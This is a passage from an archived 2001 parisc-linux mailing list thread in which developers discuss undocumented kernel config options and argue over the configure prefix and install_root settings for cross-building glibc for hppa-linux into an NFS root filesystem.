CPU models, etc (just a few things I've seen on customer wish lists)
are supportable within that framework.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Documentation wanted
Date: Fri, 23 Feb 2001 14:17:38 -0800
Lines: 22
Approved: news@gmane.org
Message-ID: <200102232217.OAA21496@milano.cup.hp.com>
References: <E14WEXY-0006gB-00@chrysl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619909 16073 80.91.229.3 (22 Nov 2014 01:31:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:49 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 23 15:14:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB6DF4A19
	for <parisc-linux@parisc-linux.org>; Fri, 23 Feb 2001 15:14:54 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id EBD0D629
	for <parisc-linux@parisc-linux.org>; Fri, 23 Feb 2001 14:14:53 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id OAA21496;
	Fri, 23 Feb 2001 14:17:44 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 23 Feb 2001 02:29:28 PST."
             <E14WEXY-0006gB-00@chrysl> 
Xref: news.gmane.org gmane.linux.ports.parisc:10386

Matthew Wilcox wrote:
> 
> Looking for something to do?  I ran `make checkhelp' and the following
> undocumented CONFIG options are our fault.  If you'd like to write
> some help and send diffs against Configure.help to the list, that'd
> be appreciated.

This list seems incomplete.
Why didn't CONFIG_GSC_DINO, CONFIG_IOSAPIC, CONFIG_LBA_PCI,
or CONFIG_SBA_IOMMU show up?

I can write something up for those if there is an arch specific place
to put them.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile 
 system
Date: Sat, 24 Feb 2001 00:56:47 -0500
Lines: 76
Approved: news@gmane.org
Message-ID: <3A974D1F.3BBB87C8@neuronet.pitt.edu>
References: <Pine.LNX.4.21.0102091056000.9776-100000@front.linuxcare.com.au> <3A8FA3D8.19E69EF6@dot.at> <3A94C3B5.EF59259C@neuronet.pitt.edu> <3A94CEF9.F171DE3F@alcatel.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619909 16082 80.91.229.3 (22 Nov 2014 01:31:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@alcatel.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 23 22:56:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp5ve.mailsrvcs.net (smtp5vepub.gte.net [206.46.170.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E1CB4A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Feb 2001 22:56:57 -0700 (MST)
Original-Received: from neuronet.pitt.edu (adsl-151-201-241-66.pittpa.adsl.bellatlantic.net [151.201.241.66])
	by smtp5ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id GAA3718436;
	Sat, 24 Feb 2001 06:03:51 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10387

Christoph Plattner wrote:
> 
> First of all, the make install has to be done twice !
> 
> One time for the tool chain to find the things like crt?.o, libs, etc..
> For this the builtin tree is defined (given by --prefix).
> 
>         make install user-defined-trusted-dirs=/lib
> 
> The second time install it to the nfs root file system
> 
>         make install user-defined-trusted-dirs=/lib \
>           install_root=/tftpboot/nfsroot
> 
> For the target the `/lib' is the builtin search path, for the
> cross tool chain the '/usr/parisc/hppa-linux/lib' (in my case).
> 
> AND A VERY IMPORTANT POINT: You have to run `ldconfig'. I tried
> this on the target machine (apollo 720) by booting from the
> NFS-ROOT of palinux-0.5 (I copied the contents of the CD to a
> path exported by NFS). After booting I mounted my new NFSROOT to
> `/mnt' and run
>         ldconfig -v -r /mnt
> 
> After that I could boot from the new root file system starting the
> `init' process (but nothing else....)

export MACH=i386-linux
export DEST=~/parisk/palinux
export ROOT=~/parisk

HOSTCC=gcc CC=hppa-linux-gcc $ROOT/source/glibc/configure \
--prefix=$DEST/hppa-linux --build=$MACH \
--host=hppa-linux --target=hppa-linux \
--with-headers=$ROOT/source/linux/include --disable-profile \
--without-cvs --enable-add-ons
make MAKE="make -j 10" user-defined-trusted-dirs=/lib
make install user-defined-trusted-dirs=/lib
make install user-defined-trusted-dirs=/lib \
 install_root=/tmp/glibc

Then copied all the new files onto a second copy of nfsroot.
Booted the original, mounted the second under /mnt and run:

	parisc:/etc# ldconfig -v -r /mnt

and I got this:

ldconfig: Can't open configuration file /mnt//etc/ld.so.conf: No such
file or directory

I rebooted with the second nfsroot and got a login prompt. However, I
can't run ldconfig again and I get this error msg.:

parisc:/etc# ldconfig -v       
ldconfig: Can't open configuration file
/usr1/users/raffo/parisk/palinux/hppa-linux/etc/ld.so.conf: No such file
or directory
/usr1/users/raffo/parisk/palinux/hppa-linux/lib:
ldconfig: Can't open directory
/usr1/users/raffo/parisk/palinux/hppa-linux/lib: No such file or
directory
ldconfig: Can't create temporary cache file
/usr1/users/raffo/parisk/palinux/hppa-linux/etc/ld.so.cache~: No such
file or directory

I I create those directories and a ld.so.conf, it works, but the files
are out of place. Maybe if it were possible to configure and install the
files in the x86 machine under a pseudo /, it would install properly.
Would 'chroot' work here?

-- 
     Rafael




From - Thu Nov 08 21:16:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile  system
Date: 23 Feb 2001 22:26:58 -0800
Lines: 34
Approved: news@gmane.org
Message-ID: <m3wvagiojx.fsf@otr.mynet.cygnus.com>
References: <Pine.LNX.4.21.0102091056000.9776-100000@front.linuxcare.com.au>
	<3A8FA3D8.19E69EF6@dot.at> <3A94C3B5.EF59259C@neuronet.pitt.edu>
	<3A94CEF9.F171DE3F@alcatel.at> <3A974D1F.3BBB87C8@neuronet.pitt.edu>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619909 16091 80.91.229.3 (22 Nov 2014 01:31:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:49 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@alcatel.at>,
	parisc-linux@lists.parisc-linux.org
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 23 23:27:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7FE2E4A19
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Feb 2001 23:27:37 -0700 (MST)
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id WAA27323;
	Fri, 23 Feb 2001 22:27:12 -0800 (PST)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 0897130BD; Fri, 23 Feb 2001 22:26:58 -0800 (PST)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
X-fingerprint: e6:49:07:36:9a:0d:b7:ba:b5:e9:06:f3:e7:e7:08:4a
In-Reply-To: "Rafael E. Herrera"'s message of "Sat, 24 Feb 2001 00:56:47 -0500"
Original-Lines: 31
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:10388

"Rafael E. Herrera" <raffo@neuronet.pitt.edu> writes:

> I rebooted with the second nfsroot and got a login prompt. However, I
> can't run ldconfig again and I get this error msg.:
> 
> parisc:/etc# ldconfig -v       
> ldconfig: Can't open configuration file
> /usr1/users/raffo/parisk/palinux/hppa-linux/etc/ld.so.conf: No such file
> or directory

This is no error message, it's warning.

> /usr1/users/raffo/parisk/palinux/hppa-linux/lib:
> ldconfig: Can't open directory
> /usr1/users/raffo/parisk/palinux/hppa-linux/lib: No such file or
> directory

This happens if you build glibc with a prefix and then install it
somewhere else.  This cannot work.


I really don't understand who came up with these "strange" build
instructions.  For Linux builds of glibc where the result is actually
used in the normal place (means in /lib and /usr/lib) you *always*
have to configure with --prefix=/usr.  While installing it one than
can use the install_root make variable.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------




From - Thu Nov 08 21:16:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile  
 system
Date: Sat, 24 Feb 2001 02:27:29 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <3A976261.EEA18B66@neuronet.pitt.edu>
References: <Pine.LNX.4.21.0102091056000.9776-100000@front.linuxcare.com.au>
		<3A8FA3D8.19E69EF6@dot.at> <3A94C3B5.EF59259C@neuronet.pitt.edu>
		<3A94CEF9.F171DE3F@alcatel.at> <3A974D1F.3BBB87C8@neuronet.pitt.edu> <m3wvagiojx.fsf@otr.mynet.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619910 16100 80.91.229.3 (22 Nov 2014 01:31:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 24 00:27:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp4ve.mailsrvcs.net (smtp4vepub.gte.net [206.46.170.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id E47764A19
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Feb 2001 00:27:31 -0700 (MST)
Original-Received: from neuronet.pitt.edu (adsl-151-201-241-66.pittpa.adsl.bellatlantic.net [151.201.241.66])
	by smtp4ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id HAA2834820
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Feb 2001 07:33:10 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10389

The idea is to build glibc so you can place it in the root directory of
your parisc tree.

I saw this post that mentions how to build glibc using the cross
compiler and then installing it in the nfsroot. The instructions are for
installing glibc in a separate tree. I'm just learning how to use the
install_root option.

It's no so "strange", how about these options now?:

export MACH=i386-linux
export DEST=/usr
export ROOT=~/parisk

HOSTCC=gcc CC=hppa-linux-gcc $ROOT/source/glibc/configure \
--prefix=$DEST --build=$MACH \
--host=hppa-linux --target=hppa-linux \
--with-headers=$ROOT/source/linux/include --disable-profile \
--without-cvs --enable-add-ons
make MAKE="make -j 10" user-defined-trusted-dirs=/lib
make install user-defined-trusted-dirs=/lib \
 install_root=/tmp/glibc

Christoph mentions that a 'make install' has to be made first, but
obviously I can't do that.

If you have a better suggestion, I'll be glad to read it.

PS. I've tried this already, re-configuring it with a new prefix,
without cleaning the tree, and copying it into the nfsroot. The boot
stops when 'init' is started :(
I'm rebuilding from scratch now, we'll see.

--
     Rafael




From - Thu Nov 08 21:16:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile   system
Date: 23 Feb 2001 23:42:56 -0800
Lines: 37
Approved: news@gmane.org
Message-ID: <m3k86gil1b.fsf@otr.mynet.cygnus.com>
References: <Pine.LNX.4.21.0102091056000.9776-100000@front.linuxcare.com.au>
	<3A8FA3D8.19E69EF6@dot.at> <3A94C3B5.EF59259C@neuronet.pitt.edu>
	<3A94CEF9.F171DE3F@alcatel.at> <3A974D1F.3BBB87C8@neuronet.pitt.edu>
	<m3wvagiojx.fsf@otr.mynet.cygnus.com>
	<3A976261.EEA18B66@neuronet.pitt.edu>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619910 16113 80.91.229.3 (22 Nov 2014 01:31:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 24 00:43:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 440C04A19
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Feb 2001 00:43:17 -0700 (MST)
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id XAA00338;
	Fri, 23 Feb 2001 23:43:09 -0800 (PST)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id 0C17F30BD; Fri, 23 Feb 2001 23:42:56 -0800 (PST)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
X-fingerprint: e6:49:07:36:9a:0d:b7:ba:b5:e9:06:f3:e7:e7:08:4a
In-Reply-To: "Rafael E. Herrera"'s message of "Sat, 24 Feb 2001 02:27:29 -0500"
Original-Lines: 34
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:10390

"Rafael E. Herrera" <raffo@neuronet.pitt.edu> writes:

> export MACH=i386-linux
> export DEST=/usr
> export ROOT=~/parisk
> 
> HOSTCC=gcc CC=hppa-linux-gcc $ROOT/source/glibc/configure \
> --prefix=$DEST --build=$MACH \
> --host=hppa-linux --target=hppa-linux \
> --with-headers=$ROOT/source/linux/include --disable-profile \
> --without-cvs --enable-add-ons

This looks OK (though providing HOSTCC shouldn't be necessary) and
--build, --host, and --target have no effect.  The configure script
will pick up all it has to know from the CC value.

> make MAKE="make -j 10" user-defined-trusted-dirs=/lib

Providing make isn't necessary.  Also, the `user-defined-trusted-dirs'
is not needed.  Just run

   make -j10

> make install user-defined-trusted-dirs=/lib \
>  install_root=/tmp/glibc

Again, loose the `user-defined-trusted-dirs'.  Also, is /tmp/glibc
where the nfsroot is picked up?  If not, just install in the nfsroot
directory.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------




From - Thu Nov 08 21:16:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile
  system
Date: Sat, 24 Feb 2001 18:53:25 +1100 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102241814320.9315-100000@front.linuxcare.com.au>
References: <m3wvagiojx.fsf@otr.mynet.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619911 16121 80.91.229.3 (22 Nov 2014 01:31:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:51 +0000 (UTC)
Cc: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>,
	Christoph Plattner <christoph.plattner@alcatel.at>,
	parisc-linux@lists.parisc-linux.org
To: Ulrich Drepper <drepper@cygnus.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 24 00:53:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 40F0D4A19
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Feb 2001 00:53:49 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA25104;
	Sat, 24 Feb 2001 18:53:25 +1100
In-Reply-To: <m3wvagiojx.fsf@otr.mynet.cygnus.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10391

On 23 Feb 2001, Ulrich Drepper wrote:

> I really don't understand who came up with these "strange" build
> instructions.  For Linux builds of glibc where the result is actually
> used in the normal place (means in /lib and /usr/lib) you *always*
> have to configure with --prefix=/usr.  While installing it one than
> can use the install_root make variable.

Hi Ulrich,
  The "strange" build instructions come from people trying to use glibc
built for a cross-compiling environment, in a native environment too.

Perhaps I'm at fault for mentioning such a thing was possible (by
installing then setting up symbolic links so that glibc effectively
appears at both it's normal native location and also at the --prefix
location).  To atone, I think I'll write up a recipe for cross-building
native tools and glibc.

Oh, and for the benefit of the list, Ulrich is talking about native
builds.  This ought to be obvious, but _DO NOT_ build glibc for a
cross-compiling environment with --prefix=/usr.  If you install it, you'll
blow away your system libs.  hppa-linux libraries tend to not run very
well on x86.

Alan
-- 
Linuxcare.  Support for the Revolution.






From - Thu Nov 08 21:16:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile system
Date: 24 Feb 2001 00:04:10 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <m3elwoik1x.fsf@otr.mynet.cygnus.com>
References: <Pine.LNX.4.21.0102241814320.9315-100000@front.linuxcare.com.au>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619911 16129 80.91.229.3 (22 Nov 2014 01:31:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 24 01:04:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id B18C64A19
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Feb 2001 01:04:43 -0700 (MST)
Original-Received: from otr.mynet (dialin-sv-02.cygnus.com [205.180.231.52])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id AAA01501;
	Sat, 24 Feb 2001 00:04:23 -0800 (PST)
Original-Received: by otr.mynet (Postfix, from userid 500)
	id CB93830BD; Sat, 24 Feb 2001 00:04:10 -0800 (PST)
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
X-fingerprint: e6:49:07:36:9a:0d:b7:ba:b5:e9:06:f3:e7:e7:08:4a
In-Reply-To: Alan Modra's message of "Sat, 24 Feb 2001 18:53:25 +1100 (EST)"
Original-Lines: 27
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Capitol Reef)
Xref: news.gmane.org gmane.linux.ports.parisc:10392

Alan Modra <alan@linuxcare.com.au> writes:

>   The "strange" build instructions come from people trying to use glibc
> built for a cross-compiling environment, in a native environment too.

I've done this more often myself than all the people here together and
never did something like this.

> Oh, and for the benefit of the list, Ulrich is talking about native
> builds.  This ought to be obvious, but _DO NOT_ build glibc for a
> cross-compiling environment with --prefix=/usr.

Of course you do.  If the library is later used in /usr you have to do
this.  Don't put words in my mouth I didn't say.

> If you install it, you'll blow away your system libs.  hppa-linux
> libraries tend to not run very well on x86.

No, you're not.  This is what the install_root variable is for.  If
you want to be sure you are not doing something stupid don't run `make
install' as root, simply make the directories below that pointed to by
install_root writable for yourself.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------




From - Thu Nov 08 21:16:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile   
 system
Date: Sat, 24 Feb 2001 03:15:10 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <3A976D8E.B7F9CF66@neuronet.pitt.edu>
References: <Pine.LNX.4.21.0102091056000.9776-100000@front.linuxcare.com.au>
		<3A8FA3D8.19E69EF6@dot.at> <3A94C3B5.EF59259C@neuronet.pitt.edu>
		<3A94CEF9.F171DE3F@alcatel.at> <3A974D1F.3BBB87C8@neuronet.pitt.edu>
		<m3wvagiojx.fsf@otr.mynet.cygnus.com>
		<3A976261.EEA18B66@neuronet.pitt.edu> <m3k86gil1b.fsf@otr.mynet.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619911 16140 80.91.229.3 (22 Nov 2014 01:31:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 24 01:15:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp5ve.mailsrvcs.net (smtp5vepub.gte.net [206.46.170.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id DEBA34A19
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Feb 2001 01:15:22 -0700 (MST)
Original-Received: from neuronet.pitt.edu (adsl-151-201-241-66.pittpa.adsl.bellatlantic.net [151.201.241.66])
	by smtp5ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id IAA3714908
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Feb 2001 08:22:15 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10393

My last build hangs at init.

Ulrich Drepper wrote:
> 
> "Rafael E. Herrera" <raffo@neuronet.pitt.edu> writes:
> 
> > export MACH=i386-linux
> > export DEST=/usr
> > export ROOT=~/parisk
> >
> > HOSTCC=gcc CC=hppa-linux-gcc $ROOT/source/glibc/configure \
> > --prefix=$DEST --build=$MACH \
> > --host=hppa-linux --target=hppa-linux \
> > --with-headers=$ROOT/source/linux/include --disable-profile \
> > --without-cvs --enable-add-ons
> 
> This looks OK (though providing HOSTCC shouldn't be necessary) and
> --build, --host, and --target have no effect.  The configure script
> will pick up all it has to know from the CC value.

If I drop  --build, --host, and --target I get compilation errors, only
HOSTCC was unnecessary.

> > make MAKE="make -j 10" user-defined-trusted-dirs=/lib
> 
> Providing make isn't necessary.  Also, the `user-defined-trusted-dirs'
> is not needed.

dropped

>  Just run
>    make -j10

compiling now.

> > make install user-defined-trusted-dirs=/lib \
> >  install_root=/tmp/glibc
> 
> Again, loose the `user-defined-trusted-dirs'.  Also, is /tmp/glibc
> where the nfsroot is picked up?  If not, just install in the nfsroot
> directory.

No, it's an empty directory. I'm building in a remote machine, which is
much faster than this box. I tar the whole thing, ftp it and then unpack
it on top of the nfs root. We'll see, it'll take a few minutes.

By the way, I don't intend to use this build for cross compile other
packages, I just want to be able to install these in the nfs root. I
build the cross compile version with a --prefix that puts it out of the
way.

-- 
     Rafael




From - Thu Nov 08 21:16:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile
 system
Date: Sat, 24 Feb 2001 19:21:01 +1100 (EST)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102241906140.9315-100000@front.linuxcare.com.au>
References: <m3elwoik1x.fsf@otr.mynet.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619911 16142 80.91.229.3 (22 Nov 2014 01:31:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Ulrich Drepper <drepper@cygnus.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb 24 01:21:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7362D4A19
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Feb 2001 01:21:06 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA26062;
	Sat, 24 Feb 2001 19:21:01 +1100
In-Reply-To: <m3elwoik1x.fsf@otr.mynet.cygnus.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10394

On 24 Feb 2001, Ulrich Drepper wrote:

> Alan Modra <alan@linuxcare.com.au> writes:
> 
> > Oh, and for the benefit of the list, Ulrich is talking about native
> > builds.  This ought to be obvious, but _DO NOT_ build glibc for a
> > cross-compiling environment with --prefix=/usr.
> 
> Of course you do.  If the library is later used in /usr you have to do
> this.  Don't put words in my mouth I didn't say.

I think you misunderstand.  When I said above about building glibc for a
cross compiling environment, I'm talking about building an hppa-linux
glibc to be installed on an i686-linux system for use by the cross tools.
If binutils and gcc are built with --build=i686-linux --host=i686-linux
--target=hppa-linux --prefix=/usr, then it's correct to build glibc with
--build=i686-linux --host=hppa-linux --prefix=/usr/hppa-linux because then
"make install" will put glibc in the correct place for the cross tools.

Building glibc with --prefix=/usr then "make install_root=/usr/hppa-linux"
